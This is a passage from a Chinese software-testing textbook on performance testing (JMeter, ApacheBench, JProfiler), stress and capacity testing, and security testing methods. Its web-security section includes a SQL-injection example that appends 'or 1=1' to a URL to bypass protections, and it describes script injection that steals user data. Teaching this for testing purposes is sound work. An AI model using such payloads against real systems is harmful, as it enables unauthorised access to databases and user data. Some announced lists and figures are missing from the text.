使用 JMeter 进行性能测试,其操作相对简单。如以 Web 服务器的性能测试为例,按下列 5 个步骤进行操作就基本能完成测试任务。

(1)在 JMeter 里增加一个线程组、一个简单控制器、一个 Cookie 管理器、一个综合图形器 (Aggregate Graph) 和若干个 HTTP 请求。

(2) 在线程组中定义线程数、产生线程发生的时间和测试循环次数。

(3) 在 HTTP 请求中定义服务器、端口、协议和方法、请求路径等。

(4)配置用户登录信息,进行安全设置,如完成 “Http URL 重写修饰符” 或 “Http Cookie 管理器” 的有关配置。有时,还需要增加响应断言或 HTML 断言,确定系统是否做出正确的响应、用户登录是否成功等。

(5)添加 “图形结果、表格查看结果” 等监听器,负责收集和显示性能测试结果。

对于一些数据加密传送的应用,需要增加 Access Log Sampler 采样器,在此之前,要获得被测试应用的相关 Log 数据。如果要监听被测试服务器的系统资源 (内存、CPU 等), 需要增加一个 “监视器结果” 监听器。要获得被测试服务器的系统资源数据,一般需要登录服务器,所以这时需要在配置元件中增加一个 “HTTP 授权管理器授权”, 添加相应的配置记录,使 JMeter 可以访问被测试服务器。

3. 其他开源的性能测试工具

(1) nGrinder (http://www.nhnopensource.org/ngrinder/) 是一个基于 Grinder 开发的、易于管理和使用的、分布式性能测试系统。它是由一个 controller 和连接它的多个 agent 组成,用户可以通过 Web 界面管理和控制测试,以及查看测试报告,controller 会把测试(基于 Python 的测试脚本)分发到一个或多个 agent 去执行(由 Python 执行)。用户可以设置使用多个进程和线程来并发地执行该脚本,而且在同一线程中,来重复不断地执行测试脚本,来模拟很多并发用户。在执行过程中收集运行情况、响应时间、测试目标服务器的运行情况等,保存这些数据生成运行报告。

(2) Apache 提供一个简单的命令行性能测试工具 ab, 在 6.3.6 节将详细介绍。

(3)HTTP 工程包含一个名为 HTTPD-Test 的子工程 ——Apache 的通用测试工具包,它包含不少测试工具,而其中 Flood (http://httpd.apache.org/test/flood/) 是人们经常使用的一个 Web 性能测试工具。Flood 使用 XML 文件来完成性能测试设置,如请求的 URL、POST 数据等。

(4) Siege (http://www.joedog.org/JoeDog/Siege) 是一个开源的 Web 压力测试和评测工具。

(5) OpenSTA, 可以模拟大量的虚拟用户来完成性能测试,并通过 script 来完成丰富的自定义设置。详见 http://portal.opensta.org/index.php。

(6) DBMonster 是一个生成随机数据、用来测试 SQL 数据库的压力测试工具,详见 http://dbmonster.kernelpanic.pl/。

(7) LoadSim—— 网络应用程序的负载模拟器。

更多的性能测试工具,可访问 http://www.opensourcetesting.org/performance.php。

4. 商业的性能测试工具

(1) HP LoadRunner 是业界领先的性能测试工具,适用于大规模的企业和项目,可以包括移动、AJAX、Flex、HTML 5、.NET、Java、GWT、Silverlight、SOAP、Citrix、ERP 和传统应用等进行测试,并在系统上线前获得准确的端到端系统性能视图。

(2) IBM Rational Performance Tester 是适用于 Web 应用程序的性能测试工具,基于 Windows 和 Linux 的用户界面,使用基于树状结构的测试编辑器提供高级且详细的测试视图,支持使用自定义 Java 代码的灵活测试定制,将易用性与深入分析功能相结合,从而简化了测试创建的过程,并满足各种性能测试需求。提供不同用户数的灵活的模拟,支持将 Windows 和 Linux 用作分布式负载生成器,使用最小化的硬件资源实现大型、多用户的测试,以帮助确保应用程序具有支持数以千计并发用户并稳定运行的性能。

(3)Radview WebLoad 也是知名的负载测试工具,用于性能、伸缩性等测试,脚本语言是 JavaScript,支持多种协议(包括 SOAP/XML、FTP、SMTP、AJAX 在内的 REST/HTTP 等),因而可从所有层面对应用程序进行测试。在 2008 年 4 月,Radview 则以 GPL 协议发布了 WebLOAD 的开源社区版本,该版本可从 webload.org 下载,但还保留商业的专业版。

(4)Compuware QA Load 是适合 Web 应用系统、数据库服务器的性能测试工具,针对分布式的应用系统,创建和执行有效的、仿真的负载测试。通过模拟成百上千的用户执行关键业务,从控制中心管理全局负载测试,规划系统性能,通过重复测试寻找瓶颈问题、优化系统性能或验证应用的扩展性。

(5)Quest Benchmark Factory 是一种高扩展性的压力测试、容量规划和性能优化工具,能应用于分布式计算环境,可以模拟数千个用户访问应用系统中的数据库、文件、Web 和消息服务器,从而确定系统容量、找出系统瓶颈等。

(6) 微软 WAS (Web Access Stress test) 允许以不同的方式创建测试脚本 (录制、装载、导入和直接手工编辑等), 可以通过一台或者多台客户机模拟大量用户的活动,由中央主客户端来控制。WAS 支持身份验证、加密 (SSL 协议) 和 Cookies, 支持随机的或顺序的数据集、带宽调节和随机延迟,允许 URL 分组和对每组的点击率的说明,以更真实地模拟实际情景。提供一个对象模型,可以通过 VBScript 处理或者通过定制编程来达到开启、结束和配置测试脚本的效果。

(7) Paessler Webserver Stress Tool。只要输入网站的 URL 网址以及模拟的上站人数,就可以模拟在同一时间内进站或是循序进站时对服务器的存取负载,并获得服务器的相关性能数据,如反应时间、传递速率等。它还支持 CGI 或 ASP 等语言撰写的程序,支持 Proxy 设定、密码输入、Cookies 与 ASP 的 Session-IDs 等功能。

(8) MINQ PureLoad 是基于 Java 的测试工具,支持 J2EE、.NET、PHP、AJAX、SOAP 和

ASP 等各种应用,脚本语言采用 XML, 简单、易用。因为是基于 Java 的软件工具,因此可以通过 Java Beans API 来增强软件功能。

6.3.6 Web 性能测试

在 Web 性能测试中,关键的是确定其测试的需求。一般有以下两种方式来描述 Web 的性能测试需求。

关于 Web 性能指标,还可以参考标准性能评估公司 (Standard Performance Evaluation Corporation, SPEC) 网站 http://www.spec.org/benchmarks.html#web。

如何确定在线用户数量呢?可以根据系统可能访问用户数以及每个用户访问系统的时间长短来确定。例如,某个企业内部的 Web 应用系统,通过分析获得该系统有 10000 个注册用户,每天有一半用户会在上班时间(8 个小时)访问这个系统,平均在线时间为 \(30\mathrm{min}\) ,那么该 Web 应用系统的平均在线数(即 Session 连接数)约为 300 个 \((10000 / 2\times 0.5 / 8)\) ,假设在线用户数峰值是平均在线用户数的 3 倍,则性能测试需求的在线用户数可定为 900。而系统数据吞吐量可通过统计获得,即得到单位时间内 Web 应用系统需成功处理多少笔交易。例如,每天访问系统的 5000 用户,平均进行 5 次查询,Web 服务器平均每分钟要处理 52 个事务(即 \(5000\times 5 / 480\) )。如果考虑到峰值因素,要求每分钟能处理大约 150 个事务。

由于时间和资源限制,不可能对 Web 应用系统的所有功能进行性能测试,而是根据业务的实际操作情况和技术的角度来分析,选择关键业务。例如,企业内部的 Web 应用系统的登录操作就是一项关键业务操作,多数用户一到办公室就登录系统,所以系统登录操作的在线用户峰值会出现在早上上班时间。而对于电子商务系统,商品查询操作是最多的。每个用户访问系统,首先就查询感兴趣的商品。真正买东西的用户不一定很多,但查询操作都少不了。

接下来还要确定具体的负载参数,包括发送请求的虚拟用户数、每个虚拟用户发送请求的速度和频率 (即思考时间)。如果是基于在线用户的性能测试需求,可以将录制脚本时记录的思考时间作为基准,以此将思考时间设置成一定范围内的随机值。基于吞吐量的性能测试需求,可以把思考时间设置为零。

测试的结果要绘出负载和系统性能指标之间的关系,即当负载随时间发生变化时系统的性能指标相应的变化趋势,如并发用户数从 10 个一直增加到 300 时,页面响应时间的变化趋势。也可以绘出并发用户数、响应时间以及数据吞吐量之间的关系曲线。一般来说,并发用户数增加时页面的响应时间也增加。服务器的数据吞吐量不同于响应时间,刚开始随并发用户数增加而吞吐量增加,当吞吐量到达一定峰值后,再增加并发用户数,吞吐量会减少。原因在于当并发用户数少时,向 Web 服务器提交的请求量不大,服务器处理能力还有富余,所以吞吐量逐步增大;但当并发用户数超过某一值时,由于向服务器提交的请求太多,造成服务器阻塞,反而导致吞吐量减少。

Apache 提供的性能测试工具 ab

ab 的全称是 ApacheBench, 是 Apache 附带的一个小工具,专门用于 HTTP Server 的 Benchmark Testing, 可以同时模拟多个并发请求。ab 命令带很多参数,例如常用的有以下一些。

-A auth-username:password: 向服务器提供基本认证信息。用户名和密码之间由一个 “:” 隔开,并将被以 Base64 编码形式发送。无论服务器是否需要(即是否发送了 401 认证需求代码),此字符串都会被发送。

-c concurrency: 一次产生的请求个数。默认是一次一个。

-C cookie-name=value
……

-I: 执行 HEAD 请求,而不是 GET。

-k: 启用 KeepAlive 功能,即在一个 HTTP 会话中执行多个请求。默认不启用 KeepAlive 功能。

-p POST-file: 包含 POST 数据的文件。

更多的参数见:

http://httpd.apache.org/docs/2.0/programs/ab.html

http://www.phpchina.com/manual/apache/programs/ab.html

示例:ab-n 30-c 10 http://www.ussite.com/,即发送 30 个请求,每次发送 10 个并发请求,测试该国外 Web 站点 ussite.com 性能如何。

This is ApacheBench, Version 2.3 < $ Revision: 655654 $ >

Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/

Licensed to The Apache Software Foundation, http://www.apache.org/

Benchmarking www.ussite.com (be patient).....done

Server Software: gws

Server Hostname: www. ussite.com

Server Port: 80

Document Path: /

Document Length: 5958 bytes

Concurrency Level: 10 // 并发水平

Time taken for tests: 2.672 seconds

Complete requests: 30 // 完成的请求数

Failed requests: 24 // 失败的请求数

(Connect: 0, Receive: 0, Length: 24, Exceptions: 0)

Write errors: 0

Total transferred: 196080 bytes // 数据传输量

HTML transferred: 179280 bytes

Requests per second: 11.23 [#/sec] (mean) //RPS: 每秒的数据传输量 (吞吐量)

Time per request: 890.625 [ms] (mean) //TPR: 响应时间
Time per request: 89.063 [ms] (mean, across all concurrent requests)
Transfer rate: 71.67 [Kbytes/sec] received, //传输速率

Connection Times (ms) //连接时间, 分为最小值、平均值、瞬时值、最大值
min mean [+/-sd] median max
Connect: 78 81 6.4 78 94
Processing: 172 630 204.1 734 766
Waiting: 78 381 190.8 406 734
Total: 250 711 204.5 813 844

Percentage of the requests served within a certain time (ms)
50% 813
66% 828
75% 828
80% 844
...
100% 844 (longest request) 

6.3.7 用 JProfiler 完成应用服务器的性能测试

JProfiler 是一个比较好的应用服务器性能测试工具,它能实时地监控系统的 CPU、内存、线程、JVM (Java 虚拟机) 等运行或性能的动态状况,可以找到性能瓶颈、内存泄漏等问题,并通过堆遍历做资源回收器的根源性分析。JProfiler 还提供不同的方法来记录访问树以优化性能和细节,在视图中可以灵活选择线程或者线程组,而所有的视图可以聚集到方法、类、包或组件等不同层次上。

JProfiler 分析器提供有用的 Java 服务器应用信息,非常有助于优化应用的性能,特别是在高负载下的应用分析。借助 Java 虚拟机分析器界面 (JVMPI) 可以监控运作的方式以及 JVM 运行任何 Java 程序时的关键事件 —— 从单独的应用程序到 Applet、Servlet 和企业 JavaBeans (EJB) 组件。在分析器内启动一个程序意味着生成、捕捉和观察大量数据,因此所有的分析器都包含着不同的方法来控制数据的流动,在不同的标准以及每一个封包的基础上进行过滤,同样也可以使用灵活的正则表达式类型模式来完成。

在本节中,使用 JProfiler 创建一个性能监控分析环境,跟踪本地和远程的服务器程序,并主要专注于三个性能问题:内存、垃圾回收和多线程运行状况,从而很好地监视 JVM 运行情况以及性能。

JProfiler, 如图 6-10 所示,几乎支持所有常用的 IDE 和应用服务器,可以到其 EJ 官方网站 http://www.ej-technologies.com/ 下载,申请一个 10 天的试用注册码。

1. 内存、CPU 剖析和堆遍历

JProfiler 内存视图 (Memory Profile) 可以直观地 (如列表、分配访问树等) 提供动态的内存分配和使用状况,并且能够显示当前存在的方法、类、包、对象和成为垃圾回收的对象。而 JProfilerCPU 视图 (CPU Profiler) 包括访问树、热点和访问图等,例如,访问树自顶向下显示 JVM 中已记录的访问队列。JDBC、JMS 和 JNDI 服务请求都被注释在请求树中,并能根据 Servlet 和 JSP 对 URL 的不同需要进行拆分。

在 JProfiler 堆遍历器 (Heap Walker) 中,可以对堆的状况进行快照并且可以通过选择步骤寻找感兴趣的对象,堆遍历器有类、分配、索引、数据和时间等视图,如分配视图可以为所有记录对象显示分配数和分配热点,而数据视图为单个对象显示实例和类数据。

2. 线程剖析

JProfiler 线程视图 (Thread Profile) 包括:

3. VM 遥感勘测技术

观察 JVM 的内部状态,JProfiler 提供了不同的遥感勘测视图 (VM Telemetry), 通过图像直观地显示堆 (Heap)、记录的对象、垃圾回收 (Garbage Collector)、类、线程等的活动时间表。

4. 本地监控

话框,确认相关的信息即可。

d4596897ec50ef78a8984c7534af1e2c1d9cb35a6c90f0930841bc55629b77a2.jpg

(4)至此,可以监控本地服务器各个方面的性能。内存、CPU、线程等剖析视图,如图 6-12~图 6-14 所示。

b04fe2191fed2e886d9fa2bb9e11384f220fc2be2236c52c701c5b5fae92f99b.jpg

246d5f2517707490b0fe6a78a5c283e1391a24483168f18905f3bbbac16c98d5.jpg

6c740923970c4caac0b8d91a0cf6eab17bb1364da2c9572e60b1f695ae912d80.jpg

5. 远程监控

由于服务器一般运行在远程的服务器设备上,因此需要远程监控服务器资源。一般会安装在 Linux 操作系统上,运行类似于 ./JProfiler_linux_6_0.sh 的命令执行文件。如果没有安装 X Server,则要在命令后面加 “-q” 参数。JProfiler 会安装在 /opt 目录下。然后进行配置,详细内容,可以从 http://resources.ej-technologies.com/jprofiler/help/doc/help.pdf 下载 help.pdf 文件。

(1)打开本地的 JProfiler,选择 Session|Integration Wizards|New Remote Integration,选择 On a Remote Computer,在 Platform 上选择 Linux x86/AMD64,单击 Next 按钮。

(2)输入远程 IP 地址,单击 Next。再输入 JProfiler 的安装目录,默认都安装在 /opt/JProfiler4 下,单击 Next 按钮。

(3) 按照出现提示框来配置服务器,例如,在 Java 执行语句中加入下列参数:

- Xint - XrunJProfiler: port = 8849 - Xbootclasspath/a:/opt/JProfiler4/bin/agent.jar; 

在 /etc/profile 中加入:

export LD_LIBRARY_PATH = /opt/JProfiler4/bin/linux-x86 

然后,退出后重新登录。

(4)配置完毕后,先运行远程服务器程序,再打开本地的 JProfiler 程序,“握手” 成功后,远程程序即可正常运行了。

//服务器端显示信息如下:
[root@ns 55556]# tail - f nohup.out
JProfiler>Protocol version 21
JProfiler>Using JVMPI
JProfiler>32-bit library
JProfiler>Listening on port:8849
JProfiler>Native library initialized
JProfiler>Waiting for a connection from the JProfiler GUI...
//以上为本地 JProfiler 连上前的系统提示
JProfiler>Using dynamic instrumentation
JProfiler>Time measurement: elapsed time
JProfiler>CPU profiling enabled
JProfiler>Starting org/anymobile/server/cmwap/CmwapServer... 

6.3.8 压力测试

压力测试 (Stress Test),也称为强度测试、负载测试。压力测试是模拟实际应用的软硬件环境及用户使用过程的系统负荷,长时间或超大负荷地运行测试软件,来测试被测系统的性能、可靠性、稳定性等。压力测试的目的就是在软件投入使用以前或软件负载达到极限以前,通过执行可重复的负载测试,了解系统可靠性、性能瓶颈等,以提高软件系统的可靠性、稳定性,减少系统的宕机时间和因此带来的损失。

从本质上来说,测试者是想要破坏程序,难怪在进行压力测试时常常问自己:“我们能够将系统折腾到什么程度而又不会出错?” 这种系统折腾,就是对异常情况的设计。异常情况主要指的是峰值 (瞬间使用高峰)、大量数据的处理能力、长时间运行等情况。压力测试总是迫使系统在异常的资源配置下运行。例如:

1. 测试压力估算

根据产品说明书的设计要求或以往版本的实际运行经验对测试压力进行估算,给出合理的估算结果。例如,单台服务器实际使用时一般只有 100 个并发用户,但在某一时间段的用户峰值可达到 500 个。那么事先预测要求的压力值为 500 个用户的 1.5\~2 倍。而且要考虑到每个用户的实际操作所产生的事务处理和数据量。如果产品说明书已说明最大设计容量,则最大设计容量为最大压力值。

2. 测试环境准备

测试环境准备包括硬件环境 (服务器、客户机等)、网络环境 (网络通信协议、带宽等)、测试程序 (能正确模拟客户端的操作)、数据准备等。

分析压力测试中系统容易出现瓶颈的地方,从而有目的地调整测试策略或测试环境,使压力测试结果真实地反映出软件的性能。例如,服务器的硬件限制、数据库的访问性能设置等常常会成为制约软件性能的重要因素,但这些因素显然不是用户最关心的,在测试之前就要通过一些设置把这些因素的影响调至最低。

3. 问题的分析

在压力测试中通常采用的是黑盒测试方法,测试人员很难对出现的问题进行准确的定位。报告中只有现象会造成调试修改的困难,而开发人员又没有相应的环境和时间去重现问题,所以适当的分析和详细的记录是十分重要的。

种连接方式:TCP、HTTP、HTTPS,则只保留 HTTP 或 TCP 连接方式。如问题仍然存在,也许是代理服务器或网关等造成的,把 MS 代理换成 SQULID 代理等方法。

4. 累积效应

有些测试人员在压力测试中喜欢让整个系统重启 (如服务器 Reboot),以确保后续的测试能在一个 “干净” 的环境中进行。这样确实有力于问题的分析,但不是一个好的习惯,因为这样往往会忽略掉累积效应,使得一些缺陷无法被发现。有些问题的表现并不明显,但日积月累就会造成严重问题,特别是服务器端的压力测试。例如,某进程每次调用时申请占用的内存在运行完毕时并没有完全释放,平常的测试中无法发现,但最终可能导致系统的崩溃。

6.3.9 容量测试

容量测试 (Capacity Test),预先分析出反映软件系统应用特征的某项指标的极限值,如某个 Web 站点可以支持的多少个并发用户的访问量、网络在线会议系统的与会人数。知道了系统的实际容量,如果不能满足要求,就应该寻求新的解决方案,以提高系统的容量。若一时没有新的解决方案,就有必要在产品发布说明书上明确这些容量的限制,避免引起软件产品使用上的纠纷。如果实际容量已满足要求,就能帮助用户建立对产品的信心。

通过容量测试可以确定软件系统还能保持主要功能正常运行的某项指标的极限值 (如最大并发用户数、数据库记录数等),或者说能够确定测试对象在给定时间内能够持续处理的最大负载或工作量。例如,如果测试对象正在为生成一份报表而处理一组数据库记录,那么容量测试就会使用一个具有十几万条、甚至几百万条记录的大型测试数据库,检验该软件是否能正常运行并生成正确的报表。

容量测试有时候进行一些组合条件下的测试,如核实测试对象在以下高容量条件下能否正常运行。

容量测试的完成标准可以定义为:所计划的测试已全部执行,而且达到或超出指定的系统限制时没有出现任何软件故障。

当然需要注意,不能简单地说在某一标准配置服务器上运行某软件的容量是多少。选用不同的加载策略可以反映不同状况下的容量。一个简单的例子,网上聊天室软件的容量是多少?在一个聊天室内有 1000 个用户,和 100 个聊天室每个聊天室内有 10 个用户。同样的 1000 个用户,在性能表现上可能会出现很大的区别,在服务器端数据处理量、传输量是截然不同的。在更复杂的系统内,就需要分更多种情况提供相应的容量数据供参考。

对软件容量的测试,能让软件开发商或用户了解该软件系统的承载能力或提供服务的能力,如某个电子商务网站所能承受的、同时进行交易或结算的在线用户数。知道了系统的实际容量,如果不能满足设计要求,就应该寻求新的技术解决方案,以提高系统的容量。有了对软件负载的准确预测,不仅能对软件系统在实际使用中的性能状况充满信心,同时也可以帮助用户经济地规划应用系统,优化系统和网络配置。

6.4 安全性测试

安全性是一个复杂的主题,涉及部署系统的各个级别。安全性要求分析,包括确定可能的或潜在的各类安全威胁和找到处理这些威胁的策略,即:

根据 ISO 8402 的定义,安全性是 “使伤害或损害的风险限制在可接受的水平内”。安全性的英文术语是 Safety, 另一个英文术语 Security, 也有安全的含义,但是它主要是指文件、数据、资料的保密问题。软件的安全性更侧重信息 (数据) 的安全性,即 Security, 包括功能权限设置、身份验证、数据加密和保护等内容,排除系统可能存在的弱点 / 漏洞、脆弱性 (Vulnerability)。

软件安全性和可靠性有非常紧密的联系,安全事故是危害度最大的失效事件,因此软件可靠性要求通常包括安全性的要求。但是软件的可靠性不能完全取代软件的安全性,因为安全性要求包括在非正常条件下不发生安全事故的能力。

安全性测试 (Security Testing) 就是全面检验软件在需求规格说明中规定的防止危险状态措施的有效性和在每一个危险状态下的反应,对软件设计中用于提高安全性的结构、算法、容错、冗余、中断处理等方案进行针对性测试,并对安全性关键的软件单元和软件部件,单独进行加强的测试,以确认其满足安全性需求。软件安全性测试一般分为以下两种。

6.4.1 安全性测试的范围与方法

安全性测试是检查系统对非法侵入的防范能力。安全测试期间,测试人员假扮非法入侵者,采用各种办法试图突破防线。例如:

理论上讲,只要有足够的时间和资源,没有不可进入的系统。因此系统安全设计的准则是,使非法侵入的代价超过被保护信息的价值,此时非法侵入者已无利可图。

1. 两种级别的安全性

安全性一般分为两个层次,即应用程序级别的安全性和系统级别的安全性,应用程序级别的安全性:核实操作者只能访问其所属用户类型已被授权访问的那些功能或数据。系统级别的安全性:核实只有具备系统和应用程序访问权限的操作者才能访问系统和应用程序。它们的关系如下。

(1) 应用程序级别的安全性,包括对数据或业务功能的访问;系统级别的安全性,包括对

系统的登录或远程访问。

(2)应用程序级别的安全性可确保:在预期的安全性情况下,操作者只能访问特定的功能或用例,或者只能访问有限的数据;例如,某财务系统可能会允许所有人输入数据,创建新账户,但只有管理员才能删除这些数据或账户。如果验证具有数据级别的安全性,测试就需要检验 “用户类型一” 能够看到所有客户信息(包括财务数据),而 “用户类型二” 只能看见本客户的统计数据。

(3)系统级别的安全性可确保只有具备系统访问权限的用户才能访问应用程序,而且只能通过相应的网关来访问。

2. 安全性测试目标

安全性测试目标,可以参考相关的国家标准,例如:

(1) GB 17859—1999 计算机信息系统 安全保护等级划分准则

(2) GA/T 712—2007 信息安全技术应用软件系统安全等级保护通用测试指南

(3) GBT 20271—2006 信息安全技术 信息系统通用安全技术要求

(4) GBT 20945—2007 信息安全技术 信息系统安全审计产品技术要求和测试评价方法根据相应标准 (如 GB 17859—1999),确定系统安全性处在下列 5 个级别中哪个级别。

(1) 用户自主保护级;

(2) 系统审计保护级;

(3) 安全标记保护级;

(4) 结构化保护级;

(5) 访问验证保护级。

然后再根据相应标准 (如 GBT 20945—2007),确定测试的目标,完成各个级别所需要进行的测试项。真正要明确系统级别和测试要求,需要做好下列几项工作。

(1) 风险分析和安全需求测试;

(2) 应用软件系统安全方案测试;

(3) 应用软件系统环境安全测试;

(4) 应用软件系统业务连续性测试;

(5) 应用软件系统及相关信息系统安全等级划分测试。

3. 测试范围

测试范围可以按照 GBT 20945—2007 要求来确定测试范围,这里列出第 4 级所要求的测试项,包括安全性测试的各种内容。

1) 基础安全技术测试

2) 安全功能测试

(1) 备份与故障恢复测试

(2) 用户身份鉴别测试

(3) 自主访问控制测试

(4) 用户数据完整性保护测试

(5) 用户数据保密性保护测试

(6) 安全性检测分析测试

(7) 安全审计测试

(8) 抗抵赖测试

(9) 标记测试

(10) 强制访问控制测试

(11) 可信路径测试

3)软件子系统自身保护测试

(1) 系统物理安全保护测试

(2) 系统运行安全保护测试

(3) 系统数据安全保护测试

(4) 软件子系统资源利用测试

(5) 软件子系统访问控制测试

4)软件子系统设计和实现测试

(1) 配置管理测试

(2) 分发和操作测试

(3) 开发测试

(4) 文档测试

(5) 生存周期支持测试

(6) 测试的测试

(7) 脆弱性评定测试

5)软件子系统安全管理测试

在上述测试范围中,可以举出一些需要关注的内容,例如:

(1)安全审计功能的设计应与用户标识与鉴别、自主访问控制、标记与强制访问控制等安全功能的设计紧密结合。

(2)提供审计日志、实时报警生成,潜在侵害分析、基于异常检测,能做到安全审计事件选择(如基本审计查阅、有限审计查阅和可选审计查阅)、受保护的审计踪迹存储和审计数据的可用性确保等功能。

(3)应用软件系统的用户身份鉴别功能,例如,采用强化管理的口令鉴别 / 基于令牌的动态口令鉴别 / 生物特征鉴别 / 数字证书鉴别进行用户身份鉴别,并在每次用户登录系统时进行鉴别,鉴别信息应是不可见的并在存储和传输时应按 GB/T 20271—2006 中 6.3.3.9 的要求进行加密,通过对不成功的鉴别尝试的值(包括尝试次数和时间的阈值)进行预先定义并明确规定达到该值时所应采取的动作等措施来实现鉴别失败的处理等。

(4)抗抵赖分为抗原发抵赖和抗接收抵赖,主要是指对于在网络环境进行数据交换的情况,按相应标准要求,通过提供选择性原发或接收证据,实现抗原发或抗接收抵赖功能。

(5)自主访问控制,提供用户按照确定的访问控制策略对自身创建的客体 (对象) 的访问进行控制的功能,对文件、数据库能够实现文件级粒度、数据库表级 / 记录 / 字段级粒度的自主访问控制,而未经授权的用户不得以任何操作方式访问客体,授权用户不得以未授权的操作方式访问客体。

(6)将强制访问控制的范围应限定在所定义的主体与客体;将系统的常规管理、与安全有关的管理以及审计管理分别由系统管理员、系统安全员和系统审计员来承担,按最小授权原则分别授予它们各自为完成自己所承担任务所需的最小权限,并在它们之间形成相互制约的关系。

4. 安全性测试方法

安全性测试可以采用第 3 章介绍的各种方法,如基于代码的安全测试、基于缺陷模式的方法、基于故障注入的安全性测试、形式化安全测试方法、模糊测试方法等。人们习惯将安全性测试分为静态测试(如工具扫描、语法分析等)、动态测试(执行程序,发现其安全性问题),即静态的代码分析方法和动态的渗透测试方法。

(1)静态的代码分析方法(如基于缺陷模式的方法):主要通过对源代码进行安全扫描,根据程序中数据流、控制流、语义等信息与其特有软件安全规则库(如图 6-15 所示)进行配对,从中找出代码中潜在的安全漏洞。静态的源代码安全测试是常用的方法,可以在编码阶段找出所有可能存在安全风险的代码,这样可以在早期解决潜在的安全问题。

ea1bf4e700e209f3b9c6d50848134489cb4117319e2539042f3ca8ae48d037a2.jpg

(2) 动态的渗透测试:渗透测试也是常用的安全测试方法,使用自动化工具 (见 6.4.3 节) 或者人工的方法模拟黑客的输入,对应用系统进行攻击性测试,从中找出运行时刻所存在的安全漏洞。这种测试的特点就是真实有效,找出来的问题一般更为严重。

还可以把安全性测试方法分为以下两种。

(1) 基于漏洞的方法,从软件内部考虑软件的安全性,识别软件的安全漏洞。

(2)基于威胁的方法,从软件外部考察软件的安全性,识别软件面临的安全威胁并测试其是否能够发生。

安全性测试还有一些特定的方法,如基于属性的测试、动态污点分析方法 (Dynamic Taint Analysis) 和威胁模型与攻击树理论等。这里简单介绍后面两种方法。

1. 动态污点分析

动态污点分析是近几年刚刚被提出的一种新的有效检测各种蠕虫攻击和自动提取特征码用于 IDS (Intrusion Defection System, 入侵检测系统) 和 IPS (Intrusion Prevention System, 入侵预防系统) 的一系列解决方案。其原理主要分为两大部分:动态污点标记和非法操作检测以及更精确的提取特征码的方法。

(1)动态污点标记和非法操作检测。来自于网络等不被信任的渠道的数据都会被标记为 “被污染” 的,由此产生的一系列算术和逻辑操作新生成的数据也会继承源数据的 “是否被污染” 的属性。这样,一旦检测到被污染的数据作为跳转 (jmp 族指令)、调用 (call, ret) 以及作为数据移动的目的地址,或者是其他使 EIP 寄存器被填充为被污染数据的操作,都会被视为非法操作,系统会报警并产生当前的相关内存、寄存器和一段时间内网络数据流的快照并传递给特征码生成服务器作为生成相应的特征码的原始资料。具体的实现方法,如 Argos 的实现方法,它是对著名的开源虚拟机 Qemu 的一个扩展,用一个一一对应的位图映射来标识相应的物理内存和寄存器是否被污染,然后标记继承关系,进行跟踪和报警。

(2)特征码提取。将当前的环境保存为一个快照作为特征码提取。进程信息是通过向当前进程中注入一段 dump 进程和端口信息的 shellcode 并执行来实现的。利用 LCS(最长公共子序列)法和 CREST 法来产生特征码。CREST 方法的原理是通过匹配在内存快照中原始 EIP (Extended Instruction Pointer) 指向的数据和网络流中出现篡改后的 EIP 地址的区域的相同数据段作为特征码,并结合端口和使用的协议来产生一个 snort 格式的规则。

2. 威胁模型与攻击树理论

威胁模型与攻击树理论,关键是威胁建模,而威胁建模的主要步骤是识别要保护的资产和分解应用程序 (识别入口点、出口点、信任边界、数据流描述等), 从而识别出软件面临的安全威胁,找出威胁可实现过程,最后通过攻击树对威胁实施过程建模,评估威胁,确定降低威胁的对策。

(1)最常用的威胁分类方法是 STRIDE,即 Spoofing(欺骗)、Tampering(篡改)、Repudiation(否认)、Information Disclosure(信息泄漏)、Denial of Service(拒绝服务)、Elevation of Privilege(特权提升)。

(2)威胁评估常用 DREAD 方法,分别量化潜在损失(Damage Potential)、重现性(Reproducibility)、可利用性(Exploitability)、受影响的用户(Affected Users)、可发现性(Discoverability),计算出每种威胁的风险值,进而决定每种威胁的优先次序。

6.4.2 Web 安全性测试

随着 Internet 的普及,网上购物、网上交易、电子银行等新的信息交易方式走进人们的生活,同时网络安全越来越不容忽视。在这些应用中,通常要使用 Web 页面来传送一些重要的信息,如信用卡信息、用户资料信息等,一旦这些信息被黑客捕获,后果将不堪设想。在 Web 的安全性测试中,通常需要考虑下列的情形。

(1)数据加密。某些数据需要进行信息加密和过滤后才能在客户端和服务器之间进行传输,包括用户登录密码、信用卡信息等。例如,在登录某银行网站时,该网站必须支持 SSL 协议,通过浏览器访问该网站时,地址栏的 http 变成 https,建立 https 连接。这相当于在 HTTP 和 TCP 之间增加了一层加密 ——SSL 协议。SSL 是利用公开密钥 / 私有密钥的加密技术(RSA),建立用户与服务器之间的加密通信,确保所传递信息的安全性。数据加密的安全性还包括加密的算法、密钥的安全性。

(2)登录或身份验证。一般的应用站点都会使用登录或者注册后使用的方式,因此,必须对用户名和匹配的密码进行校验,以阻止非法用户登录。在进行登录测试的时候,需要考虑输入的密码是否大小写敏感、是否有长度和条件限制,最多可以尝试多少次登录,哪些页面或者文件需要登录后才能访问 / 下载等。身份验证还包括调用者身份、数据库的身份、用户授权等,并区分公共访问和受限访问,受限访问的资源。

(3)输入验证。Web 页面有很多表单提交,实际每个输入域都可能是一个潜在的风险,黑客可以利用文字输入框,将攻击性的脚本输入进去,提交给服务器处理,来攻击服务器。有时,也可以在输入域提交一些危害性的脚本,提交上去,隐含到某个页面上,如某个文件的下载链接,当另外一个用户单击链接时,就可以调用相应的脚本来读取该用户硬盘的数据或用户名 / 口令,发送出去,类似于木马病毒。所以,在进行 Web 安全性测试时,每个输入域都需要用标准的机制验证,长度、数据类型等符合设定要求,不允许输入 JavaScript 代码,包括验证从数据库中检索的数据、传递到组件或 Web 服务的参数等。

(4)SQL 注入。从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取必要的数据库信息,然后基于这些信息,可以注入某些参数,绕过程序的保护,针对数据库服务器进行攻击。例如,在原有 URL 地址后面加一个恒成立的条件(如 or 1=1 或 or user>0),这样,可以绕过系统的保护,对数据库进行操作。

(5)超时限制。Web 应用系统一般会设定 “超时” 限制,当用户长时间(如 15min)不做任何操作时,需要重新登录才能打开其他页面。会话 (Session) 的安全性还包括交换会话标识符、会话存储状态等的安全性。

